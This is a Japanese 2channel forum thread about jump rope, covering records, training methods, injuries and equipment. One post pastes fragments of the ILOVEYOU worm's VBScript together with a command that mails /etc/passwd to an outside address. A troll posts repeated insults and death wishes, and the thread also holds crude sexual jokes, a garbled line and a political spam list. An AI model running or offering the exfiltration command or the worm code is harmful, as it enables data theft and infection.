∪ なわとび ∩
なわとびについてのスレッド。
楽しくて、健康にも良いのになぜかあまり人気が無い。
短縄、中縄、長縄、ダッチなんでもOK。
跳べたよとか挑戦するとか素朴な質問とか何でもOK。
【リンク集】
〜”縄”好きのためのlink集〜
http://jumbo21.hp.infoseek.co.jp/link.htm
なお、短縄の平成7年までの世界記録は以下の通りらしい。
2重跳び10133回、3重跳び441回、4重跳び98回、
5重跳び20回、6重跳び1回。すげ。 1です。
ちなみに私は中高から5年ぶりに始めて2ヶ月ぐらい。
短縄をやってて3重跳び46回、4重跳び1回、3重あや12回です。
次の目標は4重跳びの2回目を何としても飛ぶです。 >>2
下が土の所でやると負担が少ないです。
後、私はひざにサポーターを付ける事もあります。
ただ、>>1の2重跳び10000回とかやると
痛めるかもしれません。 >>5
3重跳びが20回を超えた時、すわり着地で跳べるようになりました。 >>6
鈴木勝巳さんですね。
>>8
プロって無いでしょう。
回数も>>1の世界記録に全く届いていないのでひとつでもいいから
近付きたいです。
跳んでる仲間では跳べる方でしたが、友達もみんな近い回数を
飛んでいました。縄跳びはリズムを掴むと意外と跳べる用になるから、
人のを見ていると少ない回数は跳べる様になっていきます。 >>9
縄跳びスレ昔にあったんですか?
地味だし、疲れるし、人気無いから、やってる人が少ない
というのが大きいと思うのですが。
夏場なので時期がずれていますが、このスレを期に少しやってみようと
言う人が居ればうれしいです。 跳んで来ました。脹脛が痛かったので、3重跳びのみ。
4回試みて、4回とも40回代。しかし記録の更新はならず。 ↑まあ俺のジャンプ力ならゆっくりまわしても3重とびできるけどwww
3重跳び10回なんていまどき小学生でもできるぜ!!!!!! >↑まあ俺のジャンプ力ならゆっくりまわしても3重とびできるけどwww
うらやましいです。自分はジャンプ力がかなり小さいので回すスピードで
跳ぶタイプ。だから、途中で二の腕にビビット来て急に回す力がなくなってくる。
>3重跳び10回なんていまどき小学生でもできるぜ!!!!!!
縄跳びに力を入れている小学校があって、そこで数十回跳んでる子が
いるみたいです。4年生の子でも数回跳んでいるみたいです。すごい。
自分は確か6年生の時3回だった。 >>16
小学生の頃は昼休みとか結構遊びでやったよ。
2重とびなら今でも1000回は出来るかな。
ふくらはぎが弱ってそれ以上は自信ないけど。
ロープってどういうの使ってる?俺は白い縄のやつ。 >2重とびなら今でも1000回は出来るかな。
すごいです。自分は200回位。足が弱いから、回数に耐えられない。
>ロープってどういうの使ってる?俺は白い縄のやつ。
100円のカラフルゴム縄跳びです・・・。よく切れるが、20本ぐらい
買いだめしてたからずっと使っている。縄跳びとは言わないのかも。 >>18
教えてくれてありがトン。
なるほど。瞬殺ですね・・・。
しかしどうがんばれば良いのでしょう。
新しい跳び方を考えるとかかな。 新スレおめ(*´∀`*)
スポーツとしてでなくダイエットメニューの一環として
なわちびをしている人はたくさんいるようです。美容板にスレがあります。
ここの1さんは本格的ですごいですね。
わたしにとってはリハビリメニューという感じで100回連続でも苦しい
>新スレおめ(*´∀`*)
>ここの1さんは本格的ですごいですね。
どうもありがとう。
>スポーツとしてでなくダイエットメニューの一環として
>なわちびをしている人はたくさんいるようです。美容板にスレがあります。
本当ですか。それを聞いた安心しました。
>わたしにとってはリハビリメニューという感じで100回連続でも苦しい
あんまり無理してはダメですよ。後、準備体操はしっかりしましょう。
後、自分は終わった後に脹脛を冷やします。張る感じがあるのですが和らぎます。 >>26
サンクスです。
今日は足が痛かったので、トレーニングのみ。
ちなみにトレーニング方法は、腹筋、腕立て、背筋200回ずつ、
マラソン10キロをゆっくり。
どっかのサイトで、3重跳び70回、40重跳び4回できるという人がいて、
その人は、自分と似た様なトレーニングをしてて、プラス、スクワット、
タウンページなどを下に引いてかたとを浮かして脹脛強化するという
トレーニングをして下半身を強化しているみたいなので、自分もその
トレーニングを追加して行おうと思います。 おしりを大きくしたいんですが、
なわあとびわ、効果ありますか。
>>28
自分はかなり小さいです。しかも、筋肉で鋼のように硬い。
他の所はぜんぜんつかないのに。
縄跳びでそうなったか、自転車をこいでてそうなったか分からないのですが、
どちらかと言うと小さくなっていくと思います。
男性と女性で違ったりもすると思いますが。 自分は INFなわとび 日本大会にでました
↑ 検索 俺が小学校の時の4年から先生がかわったんですよ。
その先生がINFなわとび のチームに所属していて、
そのときになわとびにはまりました。
INFの級とか段とかあるんですね。
なわとびはかなりすきだった(小学校のころは
>>30
ヒントをいただきましてどうもです。行って来ました。
足の負担を軽減するために、ジャンピングパネルというのを使うらしい。
しかし、それを使うと言うことは、当然ジャンプ力が上がり、回せる回数も
上がるような・・・。それってインチキっぽいが。
世界記録もこれを使って行われたのか気になります。 自分は 新潟大会・長野大会にでたことがあります。
実際にジャンプ台をつかいますが、全然かわりませんよ。
ジャンプというかやわらかい土といったほうがいいかもしらません。
自分も土で3重回しができるようになってから数週間後に台でやっとできるようになりました。
小学校4年 中学校1年のころに大会にでました。
>>33
なるほど、そうでしたか。教えていただきどうもです。
それを聞いて安心しました。 なわとびって背筋とかかなり鍛えられますね。
2回目の大会から縄跳びとはおさらばしてましたが、
4年後の今 なわとびをまたはじめようかな。
>>33>>35
少し訂正します。調べていたらこんな人がいるみたいなのですが。
http://www.osaka-sandai.ac.jp/koho/kawaraban3/01.html
板有りでは6重跳びを4回、板無しでは5重跳びを1回らしい。
これを見ると、ジャンプ力にかなりの影響がありそうですが。
しかし、すごいジャンプ力。これだけ跳べれば5重跳びが出来るのも
うなずけます。 >なわとびって背筋とかかなり鍛えられますね。
ええ、足と腕のみと思われがちですが、結構バランス良く負荷がかかりますね。
>2回目の大会から
INFの大会ですか?
>4年後の今 なわとびをまたはじめようかな。
ぜひ!!! 木内さんとは知り合いです!!!!
あのときの演技を自分の目でみました!!
しかもあの会場で自分も演技しました。
技は
JJJ
JKJ
KJJ
JJJJ
KJJJ のどれかをえらんでました
上級レベルになってくれば板は影響してくるとおもいます。
一緒に練習もしました
小学校6年のころです。
30〜39
で1さんを除いたのはすべて僕です
名前つけます >>39
JJJ
〜
KJJJ
JとKと言うのは専門用語っぽいので何かわからないのですが、
数十あや跳びのクロスを入れるタイミングですか?
>小学校6年のころです。
専門用語の仮定が当たっているなら、小6で4重あや跳びですか?それなら
すごすぎです。自分は隼70回ぐらい跳んでいい気になっていました。 すいません
あたってます。
J というのは 順跳びで 普通です。(説明がうまくない)
K というのは 交差跳びのことです。
ほかにも背面跳び や 腕を変に交差する跳び方があります
背面跳びは 背中の後ろで交差して飛ぶ みたいなかんじです。
小学校5年の頃に3重回しが一応できていました(ギリギリ
小学校4年生になってからずっと縄跳び生活でしたw
ちゃっかりINFなわとび の公式ガイドブックがある自分でした
>>42
>すいません あたってます。
よっしゃ!
>ほかにも背面跳び や 腕を変に交差する跳び方があります
>背面跳びは 背中の後ろで交差して飛ぶ みたいなかんじです。
調べてみると、5種類の技の組み合わせを4回ずつ跳ぶみたいですね。
自分は1種類の跳び方をひたすら跳んでいました。
縄跳びはリズムが大事だから、途中で切り替えていくのはかなり難しそう。
>小学校5年の頃に3重回しが一応できていました(ギリギリ
それでもかなりすごいですよ。
>小学校4年生になってからずっと縄跳び生活でしたw
自分は縄跳びシーズンの時はそればっかりでしたが、シーズンが終わると、
ドッジボールとかに走ってしまいました。
>ちゃっかりINFなわとび の公式ガイドブックがある自分でした
調べてるとそれがちらちら出てきます。縄跳びを買うと付いて来ると
書いてありましたが。ぜひ欲しいです。 自分の小学校の頃は先生がなにか挑戦好きで
ドッジボール大会にでたことがあります。
縄跳びのシーズンってやはり夏ですかね?
冬は・・・ 痛い
自分も冬にドッジボールとかやってました。
ボールは黄 と 黒 の混ざった線のやつです。
INF公式ガイドブックは1000円のはず! >自分の小学校の頃は先生がなにか挑戦好きで
>ドッジボール大会にでたことがあります。
自分のクラスは、大きな大会は出なかったけど、クラスが団結しますよね。
>縄跳びのシーズンってやはり夏ですかね?
>冬は・・・ 痛い
そういう考え方もありますか。自分が言うシーズンとは、体育の授業で
縄跳びをやる冬のことでした。
>自分も冬にドッジボールとかやってました。
>ボールは黄 と 黒 の混ざった線のやつです。
自分は本格的なボールではなくバレーボールだったような。
>INF公式ガイドブックは1000円のはず!
なるほど。探してみます。 自分が予想していることとは すべてが違った。。。
明日テストやん!!
ということで ピンチおつ です
今日は足が痛かったのですが、3重跳びのみ挑戦しました。
しかし、30回代が1回のみと散々でした。
足の痛みは気にならなかったのですが、スタミナがすぐ尽きてしまった。 ハードな男の為のヘヴィーななわとび用具は無いのだろうか。 縄跳びダイエットしてるよ
足太くなった…意味ナクナイ??? どもども!
札幌のなわとびマニア?です。
3重とびは51回が最高です。今60回以上を目指し練習&研究中。
2重とびは先日400回超えたのですが、ふくらはぎやばいです。
4重とびはたまに練習します。膝に負担が大きそうですし。 前の板でも見かけたけど本人確認されるので気を付けたほうがね・・・
まあスポ板の人たちは結構いい人多いのでそれほどは問題ないこ
ともない。 得意技は8の字2重です。8の字3重できるひといますか? 2重とびでも最高50回くらいしかできないよ・・・(´・ω・`)ショボーン
縄跳びで鍛えたらマラソンでも使えるスタミナとかつきますか? 小学生のとき、一度転校した。前の小学校では縄跳びがとても流行っていた。
友人同士競い合って高いレベルを目指していたのが楽しかった。
転校先の小学校では休み時間に校庭で縄跳びをやる奴なんて、誰もいなかった。
でも、構わず俺は一人で縄跳びをやり続けた(いや、友達ができなかった
というわけではないんだが・藁)。
で、そのうち他の奴らも縄跳びをやり始め、転校先でも縄跳びが流行るように
なった。
多分自分が流行らせたんだろうなあ、と少し得意な気持ちにもなったが、
また友達同士で縄跳びを楽しめるようになったことが嬉しかった。 民主党が躍進なんて信じられないです。
そりゃ小泉改革は完璧に進んでたわけじゃないけど・・
小泉総理の言う「痛み」なんて、これまでお上から利益だけを得てきた
日本人なら当然受け入れるべきもの。
自力で更生する機会を与えられても、それを放棄するような国民は
あと少し不況に苦しむべき。 縄を買ってきたけど飛ぶ場所がないよ。
近所の駐車場っぽい広場で数分間飛んでいたら
警備員さんがやってきて「敷地内ですから……」と注意された。
アパートだから部屋の中は無理だし、人目につく場所は避けたいし、、、 以下の(A)-(F)の技をを難易度順に並べよ。
(A)後ろ二重跳び
(B)隼
(C)後ろ隼
(D)三重跳び
(E)後ろ三重跳び
(F)四重跳び >>83
せんかい飛びとかないの?
うちの中学校は今年の冬から体育で女子も男子も縄跳びをやるようになりました。
ある程度技ができるようになったら、先生に披露して、スタンプを押してもらえます。
そのスタンプの数で意欲、関心点が成績にはいるのでみんな一生懸命
です。難易度が高い技ほど点が高いです。
自分は旋回二重飛びができやせん(つд`)
縄跳びの技を新しく発明しても点がもらえます
自分はジャンケン二重飛びを開発しますたw
縄跳びは友達と競ってやるとおもしろいでつよ 4回旋がどうしてもできません。
ジャンプ力は結構ある方なんですが、
縄が速く回りません。
どうしたら縄を速く回せるようになりますか? おお〜、なわとびスレがあるとは!!
私もやってます。いい運動になりますよね。
…しかし、なわとびってスポーツと言えるんでしょうか?
「何かスポーツやってる?」と聞かれて「なわとびをやってます」
って、何故か言いづらくありませんかねぇ…? ∧_∧
( ´∀`)
,.=と つ=、
| ) ) ) /
ヽ (_ノ(_ノ 〈 )))
\ |||| ,ノ 彡
`'─ ~
(´ ̄``ヽ、
((( )∧_∧\
/( ´∀`) )
'=と つ='
〉 〉 〉
C- (_,)_) -つ >>1がいきなりすげー記録書くもんだからこのスレ萎え萎えだな
俺なんか3重とび20回できるだけで学校では神扱いだったのによ
>>86
「何かスポーツやってる?」
「なわとびやってます。」
「なわとび・・・・( ´,_ゝ`)プッ」
「一応三重飛び連続40回ぐらいなら飛べます。(・∀・)ニヤニヤ」
「スゲー(゚Д゚;)」
全然地味じゃないと思うぞ。 >三重飛び連続40回
スポーツというより特技という印象。 とびなわ買ってきた。なわとびは売ってなかった。名前違うだけだと思うが。
外でやるのは勇気入る。みんなやってればいいんだけど。 このビデオ見た人いますか?
感想キボンヌ
ttp://www.panthervideostore.com/catalog/product_info.php/products_id/1686 キムタコドラマでなわとびしてくれないかな。
ブレイク必至。 ウチの小学校は冬場が縄跳びのシーズンですごいはやってて、休み時間とかにみんなやってたな。
前のほうにも書いてあったけど、クリアしたらスタンプ押して次の種目に進むってヤツ。
三重跳びできるやつは結構いたよ。自分は小6の時連続70回ぐらいなら跳べた。
あと、四重跳びは7回だったかな。
はっきりいって、四重跳びより後ろ三重あや跳び、後ろ三重交差跳びとかの方が苦手だった。
特に後ろ三重あやのあやの部分を前、中、後繰り返して跳ぶやつが一番大変だった。
連続十回やらなきゃだめだからね。何とかクリアしたけど。
自分たちの年代ですべてクリアしたのは自分ともう一人いた。
中学に入ってからやる機会がなくなってしまって残念だったな。
ちなみ石川県能美郡の某小学校 鈴木勝巳さんがテレビによく出演してたのはいくつ位の頃ですかね?
40歳台? テニスの練習に縄跳びが良いってのがどっかのスレのリンク先に
あったんで、縄を買って、20年ぶりにやってみたのだが、かなり疲れるね。
しかも、逆回しなんかまともにできなかったし。
日課にしたいものだが。 なわとびは、トランクスで両足跳びやると、
ティンティンに負担がかかって痛いってことが分かった。
勃起時ならトランクスでも問題ないのかも知れない。 言わせてもらえばね、お前らもうダメ。
俺が中学のときは三重跳び5回出来りゃもう十分だったわけよ。神なわけよ。
大体、三重跳びに挑戦する奴すらいねーってのよ。わかる?
つまり、何が言いたいかというと、ハイレベルすぎて話についていけません。 みんなすごいんですね。
どやったら三重跳びできるんですか?? 後ろ飛びできるのに普通の飛び方ができない、何でだーーーーーーーーーーーーー 縄跳びしながら「郵便やさん♪」って歌って遊ぶのがあったけど
どんな歌だったか思い出せない 郵便屋さんの落としたハガキを一枚二枚・・・と拾っていく なわとんできた。
後ろとびが全然うまく行かず、むかつく。
三重とびも続けてやることが出来ない。
ハヤブサとびはけっこうできた。
週一くらいのペースでがんばろうと思う。 第二回なわとび練習決行
最初出来たはやぶさが終盤何故か出来んようになってて
メチャメチャいらつく。地団駄踏みまくった。 第三回なわとび練習決行
滞りなく飽きるまで飛んだ。 >>119
第二回から第三回まで一月近く空いた理由を述べよ。 >>123
ものぐさによる。
第4回なわとび練習決行。ぴちぴち当たって痛かった。
今日はジムに行く予定だったが、昼寝してたら閉まってしまったので
なわとび練習に変更。 大学生になって久しぶりに縄跳びをはじめ、
3年生の夏休み前、やっと四重跳びが3回ほどできるようになった。
五重跳びができるようになるまで鍛える毎日です。
五重跳びレベルになるとかなりのジャンプ力がいりそうですが、
バスケ部なんでなんとかなりそう・・・? 105 :アスリート名無しさん :04/02/28 15:58 ID:nMQrPst1
ウチの小学校は冬場が縄跳びのシーズンですごいはやってて、休み時間とかにみんなやってたな。
前のほうにも書いてあったけど、クリアしたらスタンプ押して次の種目に進むってヤツ。
三重跳びできるやつは結構いたよ。自分は小6の時連続70回ぐらいなら跳べた。
あと、四重跳びは7回だったかな。
はっきりいって、四重跳びより後ろ三重あや跳び、後ろ三重交差跳びとかの方が苦手だった。
特に後ろ三重あやのあやの部分を前、中、後繰り返して跳ぶやつが一番大変だった。
連続十回やらなきゃだめだからね。何とかクリアしたけど。
自分たちの年代ですべてクリアしたのは自分ともう一人いた。
中学に入ってからやる機会がなくなってしまって残念だったな。
ちなみ石川県能美郡の某小学校
4重とびなんてできたら2時間の練習で幅跳び軽く6mはいくw
スーパー小学生ですか?w 初心者なのですが、みなさん縄は何を使っていますか?
今まで100均の縄でやっていたのですが、最近はまってきたのでそろそろ
本格的なのを買ってみようかと。
おすすめがあったら教えてもらえませんでしょうか。。 アシックスのjumping rope non slip model111を使ってます。軽い。 久々に再びやり始めたけど右腕は手首を使えてるけど
左腕は手首が硬いというか回転が右より遅くて
腕使って回してるって感じがして次第に疲れて
200回くらいで引っかかるんだけど慣れるかな?
ちなみに次の日は左腕の上腕部分の筋肉痛がひどい。
前止めたときから現在までの間にダンベル使った筋トレを
始めたんだけど、やり方が間違って筋肉のバランスがおかしく
なったのかな?
一年以上たってしまったんですけど 上記レスの K です。
自分はINFの公式大会で全国2位になりました。
今となっては3重まわしもできません 僕は幼稚園のころに先生からなわとびをおそわり
小学校2年生のころから本格的にはじめました
そのとき2重まわしが1回しかできないのがくやしくて、泣いたりもしました
小学生のクラス替えをしてから先生にめぐまれ、その先生がIMFのグループに
所属していることもあって、、縄跳び大好きだった俺にはぴったりで
俺もそのグループに所属、4年生からレッスン付でやってました
先生は小学校の俺のクラスのみんなにも縄跳びをはやらせようとがんばっていて
級をとったら表にシールをはっていく、という感じでした
俺は負けず嫌いだったので休み時間では毎回先生にみてもらいシールをもらうことを
楽しみにしてました。
やっぱり小さいころは覚えこみがめちゃくちゃ早く、
小学校4年生初期の段階では2重回しの交差ができるかできないかぐらいだったのに
小学校5年生になってからは3重回しの交差ができるようになってました
どこにいくときも縄跳びは常備でした。
そのような感じで大会にも出ました
結局中学生になってからはやめちゃったけどね、
高校2年の現在、再びクラブに入りたいと思っています。
オリンピック公式種目にならんかなw 最近運動してなかったから縄飛びをしたんだけど
足が筋肉痛になっちゃって歩けません。立つのも痛い。
縄飛びってオソロシイね。 筋肉痛治ったー。今日からまた飛びます
>>142一緒にトバナイカ? ジョグ強度に慣れてきたので
追加トレとしてはじめるよ。 いや、別に始めなくていいですよ。
どうせ世の中から必要とされない人間なんでしょ? >>146
レスサンクス!
早速飛んできたよ!これはかなり効くね!
明日も飛んだら報告するよ!  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄」
―――――――――――――‐┬┘
|
____.____ |
| | | |
| | ∧_∧ | | < ウッセーアホ!!!カエレ!!!
| |( ´;゚;ё;゚;) つ ミ |
| |/ ⊃ ノ | | (゚ε゚) ←>>149
∧,,∧
(;`・ω・) サラサラ
/ o□..
しー-J 旦
∧,,∧ ドゾー
(´・ω・)
c(,_U_⊃旦
昨日テレビで縄飛びの世界記録保持者を見た
皮の垂れたじいさんで、ハッキリ言ってカッコ悪かった
やっぱ縄飛びってダメなのか…otz なわとびなんて
きょうび流行らねーんだよハゲが!!!
こんなダセースポーツを熱く語ってんじゃねーぞコンニャロ!! いっらい依頼以来取りかかる戻る文句要望ひんい雰囲気結構いっアイょい一緒機器 なわとびの規格つくらないと、ものすごい簡単にまわる縄跳びと
ものすごい思い縄跳びといろいろあるから記録なんてあてに
なるのか? さっき跳んで来た。
つかれたー。
6月からちょっとやすんでましたがものすごくきつかったっす。
また本格的にやらないと 飛んだからって一々カイコするんじゃねーぞボケナスども!!
いい加減にしる。 >>160
そんな事言って
自分も飛びたいくせに!!
俺らみたいに飛翔したいくせに!! みんなどこのメーカーの縄つかってるの?
俺買おうとおもうんだが
上のほうにでてたアシックスなんたらって縄どこにもうってない・・・。
どこに行けばかえるんだ・・ (´;゚;ё;゚;) < ウ、ウルセー! 飛びたくなんてないやい!! 通販でかえばいいんじゃないかな?
ぼくはホームセンターの200円のやつをつかってますが (´;゚;ё;゚;) < 胃下垂になるからヤメトケ!!わかったかボケナス。 >>168
そうだよな。縄跳びを回数でやるのはランニングでいちいち歩数
数えながらやるようなもんだ >>163
スポーツオーソリティにけっこういろいろ売っていた。
ナイキの縄とかどうかね? なわとび続けてたら足がマッチョくなった。スカートはけないYO (´;゚;ё;゚;) <そんなダセースポーツするからそうなるんだ!自業自得だボケナス!! 私は、エアロのフロントキックをしながら縄跳びが飛べません (>_<) (´;゚;ё;゚;) <ならライダーキックしながら飛べよアホが!! 1500回跳びました
ねるまえにもう1000回くらい跳ぶ (´;゚;ё;゚;) <ついでに脳みそまで吹っ飛ばして氏ネ!!! 昨日2000回くらいとんだら
疲れてぐっすり眠れた
今日も跳ぼうっと。 (´;゚;ё;゚;) <なら今日は3000回飛んで疲れて寝たまま氏ね!! 今日は2000回とびますた
昨日のつかれがありましたがゆっくりとびますた
のりをさんそんなひどいこと言わんといてえな (´;゚;ё;゚;) <ボクは本当のことと思います。 (´;゚;ё;゚;) <次回からは15秒にしとけ!! (´;゚;ё;゚;) <参加したかったら照れずに言えよなッ!! (´;゚;ё;゚;)凸 <ウルセーアホ! ブットバスゾ!! (´;゚;ё;゚;) <て、照れること言うなヨナ!! のりをタンが縄跳びして、チンコがぶらぶらするのをみたいよぉ(;´Д`) (´;゚;ё;゚;) <俺様のティムポはポークビッツ程度なのでぶらぶらしないんダゼ!! 最近はダブルダッチが人気なんだろうか…。独りで黙々と飛ぶ方が好きだ (´;゚;ё;゚;) <孤独なヤシ専用のスポーツがなわとび。キサマにピッタシだな! なわとびとは己との対峙! |∀・) ダレモイナイ… ナワトビスルナライマノウチ そういえば、キダームについてのスレって無いんかね。キダームでもやってたじゃない、なわとび。 (´;゚;ё;゚;) <なわとびなんて恥ずかしいことやるわけ無いだろうが!! ロープスポルティフって言うンダヨ!! 4重跳び20回は出来る
5重だってその気になればけっこう誰でもできる
ようは練習量だ (´;゚;ё;゚;) < ヘェー。 ・・・・デ? 不正行為を行ってばれそうになってしまった・・
俺はなんて馬鹿だったんだろう・・
みんなは絶対にしないほうがいい
しないだろうけど・・
マジで鬱だ・・ (´;゚;ё;゚;) < ここはテメーの日記帳・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・なんだから何でも書き込んでOK!! ここしばらく縄跳びをサボっていたせいで、脹脛がめっきり弱くなった。
練習中、つりまくり。
いてーよ。
フットワークを多用する競技者は、縄跳びサボっちゃいかん崎 (´;゚;ё;゚;) <んで? 何が言いたいんだ? あぁ? こら!! >206
縄跳びサボっちゃいかんと言いたいのよ。
分かってお願いティー茶ー (´;゚;ё;゚;) <ツマラネーからシカト決定だな!! ダブルダッチやってみたいんだけど、その前に生で見てみたいんだけど何かそういうイベントないの? (´;゚;ё;゚;) <ダッチワイフを生でヤッテロ!!! なわとびしたいけど、胸の付け根がちぎれそうに痛くなる。 (´;゚;ё;゚;) <ならやらなきゃいいだロ!!! 140あたりから常駐している厨房はこのスレで何がやりたいの? >>219
∧ ∧
( ´;゚;ё;゚;) プギャーーーッ
_| m9/(___
/ └-(____/
<⌒/ヽ-、___
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>>221
∧ ∧
( ´;゚;ё;゚;) プギャーーーッ
_| m9/(___
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最近縄跳び始めたんですけど、後ろ2重がどうしてもできません。
なんかコツとかありませんか? ↑(´;゚;ё;゚;) < オメーには才能が無いんだヨ。アキラメナ!!! のりを ◆7haqX874zk ウザ。
縄跳びの話する気がないならこのスレから消えろ。 後ろ二重に限った話ではないけど、縄をなるべく手首だけで回すようにする(腕をできるだけ動かさないように)
あとは、縄を片手で持って身体の横で回しながらそれに合わせて跳んでみる。
一回でもできるんであれば、後ろ二重を一回跳んだら普通の後ろ跳びをはさんで、
体制が整ったらまた二重ってな具合にしていって、その間隔縮めていけば多分できる。 c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
はじめまして。
縄跳びして一週間たちます。
私は洋梨体型なんですが、足って細く…なりますか?おしえてください。 いかすいになる
あしはきんにくついてふとくなる
いやしらん >230
真剣に聞いてるっぽいやつに、
その返しは酷だろう 筋力が衰えてきたので縄跳びを始めようかと思っています。
縄跳びって全身運動なんですか?
誰か教えてください。 >233
よくわかんないけど前進運動やないやか。
今日二重跳び50回位でギブ。延々跳べるくらい持久力つけたいな。 ウォーリー、散歩先でてんさいさんを見つけた…
5ウォーリー!
縄跳び大会を思い出した!
とにかく必死だったっけ…
そうだ…縄跳びしよう。
『ウォーリーを探せ実行委員会』
次のヒントはそのうち! 縄跳びたのしー!
少しやってみたら夢中になって、今日はスポーツショップに
跳びやすそうなの探しにいったよ。
今日からまったりのんびりやろーっと。 このスレ開いたらウイルスかかったんだけど、
なんで? >>237
ウィルスチェックのソフト使っていたら>>227の文字列で誤作動するらしい。 >>1
2週間くらいから週4(1日1時間)ペースで縄跳び始めました。
そしたら今日になって足首がかなり痛くなって腫れてはないんですけど
歩くのに支障がある痛さで困ってます。なんででしょう?
飛び方とかあるんすか?つま先で飛ぶのか、かかとで飛んだらいいのか
分かりません…
かかとで飛ぶとボクサー並み早く飛べるので飛びすぎたのかも かかとで跳ぶってイメージできんな
普通つま先で跳ぶでしょうが >>242
つま先で飛んでたら足首痛くなったの;;
だからかかとで・・・超早く飛べるよ。 準備体操した?手首足首クキクキって。念入りにしなきゃ痛めるよ。
あと柔らかい土の上、公園とかでしたほうがいいかな。お風呂ではマッサージとか特にせず、ゆったり落ち着かせた方がよいよ! とりあえず今日病院行ってきたら
初診とか言って4000円取られた。
なわとびはドクターストップだってさ〜
つまんないな・・・ 4000も…足も財布も痛いね…。
でも治ればまたできるし!今は養生してね。 ありがと〜
とりあえず次回からは
アスファルトではなく土の上でやります そんな私も足親指の爪がはげて…(T-T)イタイ!
お互いファイトですね。 (⌒\ ノノノノ
\ヽ( ゚∋゚)
(m ⌒\
ノ / /
( ∧ ∧
ミヘ丿 ∩・ω・`)
(ヽ_ノゝ _ノ >>1
丿 ,;⌒⌒i.
ノノノノ⌒ヽ ( ;;;;;) _______
(゚∈゚ ) ミ) ,,:;;;) | |
/⌒\/( ) ヽ| |/ |;,ノ | さいたま |
( ミ ∨∨ | / .,i. |___________|
ノ / | | ,,i; ,, ,;⌒‖
( \/ヽ ,,,丶, | |,,,;. ;i, .‖ヽ
\ ) ) .. ,, ´ヽ (,, ‖丿.,,,
/// ,, ,, .. ´ヽ ‖,,, ..,
`ヾ ヽミ ,, .、 ヽ .. ヽ丶,.ヽ ‖、,,
今日からなわとび始めました!
テレビでかなりのおじいさんが二重飛びで一時間以上連続で飛べるって言うんで
そんなに大した運動量ではないのかなーなんて思ってたら大間違い!!
5分も持ちませんでした・・・orz
日ごろゲームばっかりやってたからこんなに体力無いなんて情け無い
とりあえず、一日5分からスタートしていきます。
何か飛び方とか、こうすると長時間飛べるようになるよとかありますか? かかとで右左右左って具合に交互に飛んでみ、
誰も信じてくれないけど超早く跳べるよ!
まぁ、それが原因?で足痛めて8000円強 整形外科に持ってかれちゃたわけですが… 今日から始めてみた。
70回くらいで止まってしまった。。。
本当に何百回も連続で続けられるようになるのかなぁ。 やめないよ^^
今日は120回連続で出来た。
トータルで500回くらい飛んだ。 オレは砂浜でやってるから(なのか?)、足首とか腰とか全然平気だよ。 >>258
砂浜も良さそうだね〜
一応海辺の街に住んでるけど、チャリで20分位かかる・・・
往復するだけでイイ運動になっちゃいそうでなわとびまで出来なさげw 砂浜だと縄が砂にひっかかってうまく
跳べないことない?
芝生でやったんだけどひっかかって駄目だった なわとびてすごいのか?
ジジイが年齢20くらいの運動力を上回ってるとか
TVでやってたけど
ありえないな
なわとびのお陰か?
>>261
若い頃からずっと縄跳び一筋だったらしいよ
奥さんほったらかしてアメリカに修行出た位だから
それを加味してもあのおじいちゃん宇宙人だと思う 昨日ふと知り合いとの話題に出たんで、
懐かしくてスレッド探しにやってきますたよ。
大昔、>>1にある世界記録の保持者がうちの小学校に
やってきたことがあって、以降メチャメチャ流行ってたんだ。
なんかカード作って検定とかやっててね、50くらいランクがあったの。
最終的には二重飛を200回とか、「ペガサス」っていう
二重→はやぶさ→リットル(交差二重)→抜き手、のコンビネーションを10回とか。
そこまで出来たのは自分を含めて10人以上いて、そういう人のために
また10ランクくらい技作って、結構際限なかったかも。
一重→二重→三重→四重ってコンビーネーションで、出来たのが一人いたよ。
自分は交差三重が得意だったよ。 今過去ログ読んだけど、君ら凄すぎ>>2 >>105
当時は、小学生の中じゃ自分たちが日本一とか思ってたのになー
そういや大会なんて出たことってなかったな。
にしてもほんと懐かしい・・・
小学校卒業してもう10年以上やってないけど、またやろうかな。 さっそく昨日100円ショップで買ってきてやってみた。
縄が短すぎて頭にぶつかった…orz
もっとちゃんとしたの買ってこよ…… 俺もついさっき100円ショップで買ってきた
二重とび8回www
2ちゃんのどっかにナワトビスレがあるだろと思ってここに来た
ら
三重とか四重とか
ハァ?な世界www
自信喪失したので、もうやめた 質問
なわとびしたらイイことあるの?
チンポの立ちがよくなったとかww
マジレスキボン
週末に東急ハンズでINF公認とかいうのを買ってきたよ。1050円て、結構高いな。
でもってさっきやってみたら、二重飛50回に三重飛5回出来た。
つーかそこまで飛んで体力に限界が…orz
小学生の時二重飛数百回飛べた体力はさすがにもうないなー
それと交差飛と後ろ飛がかなり下手になってた。
でも、ある程度飛ぶ感覚を覚えてたのは嬉しかったし
楽しかったから、今後も続けよう。 272書いた次の日にもやってみたら二重100回、三重10回飛べた。
交差飛びも少し感覚取り戻してきた。
けれど、その日から激しい筋肉痛になってしばらく中断… ▲▲▲人権擁護法案(メディア規制法案)推進議員リスト▲▲▲
""こいつら落とさないと自由な報道・ネットでの自由な発言できなくなるYO!""
【自民党】
佐藤剛男(福島1区) 山崎派 笹川 尭(群馬2区) 橋本派
小泉龍司(埼玉11区) 橋本派 与謝野薫(東京比例) 無派閥
渡辺博道(南関東比例)橋本派 佐田玄一郎(北関東) 橋本派
大村英章(愛知13区) 橋本派 野田聖子(岐阜1区) 無派閥
田中英夫(京都4区) 堀内派 滝 実(奈良2区) 橋本派
小西 理(滋賀2区) 橋本派 谷 公一(兵庫5区) 亀井派
石破 茂(鳥取1区) 橋本派 亀井静香(広島6区) 亀井派
二階俊博(和歌山3区) 二階派 鶴保庸介(和歌山) 二階派
山口俊一(徳島2区) 無派閥 古賀 誠(福岡7区) 堀内派
自見庄三郎(福岡10区) 山崎派 ※ほとんどが郵政反対派の中核、橋本派ed亀井派
